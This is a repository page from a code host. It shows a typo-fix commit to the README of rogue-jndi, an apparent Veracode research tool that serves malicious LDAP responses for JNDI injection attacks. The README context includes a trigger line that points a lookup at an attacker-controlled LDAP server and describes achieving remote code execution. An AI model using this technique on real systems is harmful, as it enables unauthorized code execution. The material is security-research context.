cynic
/
rogue-jndi
mirror of https://github.com/kurisufriend/rogue-jndi
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

small fix

Browse Source
master
Michael Stepankin 6 years ago committed by GitHub
parent 2f7e814f60
commit 8aa57e6798
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 2 deletions
Show all changes Ignore whitespace when comparing lines Ignore changes in amount of whitespace Ignore changes in whitespace at EOL
Show Stats Download Patch File Download Diff File
  1. 4
      README.md

4
README.md
Unescape View File

@ -7,7 +7,7 @@ In order to perform an attack, you can start these servers localy and then trigg
```java ```java
InitialContext.lookup("ldap://your_server.com:1389/o=reference"); InitialContext.lookup("ldap://your_server.com:1389/o=reference");
``` ```
It will initiate a connection from the vulnerable clinet to the local LDAP server. It will initiate a connection from the vulnerable client to the local LDAP server.
Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution. Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution.
### Motivation ### Motivation
@ -81,4 +81,4 @@ This software is provided solely for educational purposes and/or for testing sys
* An article about [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) in the Veracode Blog * An article about [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) in the Veracode Blog
### Authors ### Authors
[Michael Stepankin](https://twitter.com/artsploit), Veracode Research [Michael Stepankin](https://twitter.com/artsploit), Veracode Research

Write Preview
Loading…
Cancel
Save